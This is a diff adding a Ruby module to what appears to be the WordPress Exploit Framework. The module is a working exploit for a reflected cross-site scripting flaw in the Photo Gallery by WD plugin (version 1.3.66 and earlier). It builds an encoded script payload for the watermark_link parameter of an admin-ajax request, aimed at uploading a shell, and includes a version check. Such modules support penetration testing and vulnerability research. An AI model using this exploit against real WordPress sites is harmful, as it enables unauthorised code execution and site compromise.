Add Photo Gallery by WD <= 1.3.66 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/photo_gallery_xss_shell_upload.rb

@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::PhotoGalleryReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Photo Gallery by WD <= 1.3.66 Reflected XSS Shell Upload',
+      author: [
+        'Karim El Ouerghemmi', # Dislosure
+        'rastating'            # WPXF module
+      ],
+      references: [
+        ['WPVDB', '9031']
+      ],
+      date: 'Feb 22 2018'
+    )
+
+    register_options([
+      IntegerOption.new(
+        name: 'gallery_id',
+        desc: 'A valid Photo Gallery gallery ID',
+        required: true
+      ),
+      IntegerOption.new(
+        name: 'image_id',
+        desc: 'A valid ID of an image within the chosen gallery',
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_readme('photo-gallery', '1.3.67')
+  end
+
+  def xss_payload
+    url_encode(url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>"))
+  end
+
+  def url_with_xss
+    "#{wordpress_url_admin_ajax}?action=GalleryBox&gallery_id=#{datastore['gallery_id']}&image_id=#{datastore['image_id']}&watermark_link=#{xss_payload}&watermark_type=image"
+  end
+end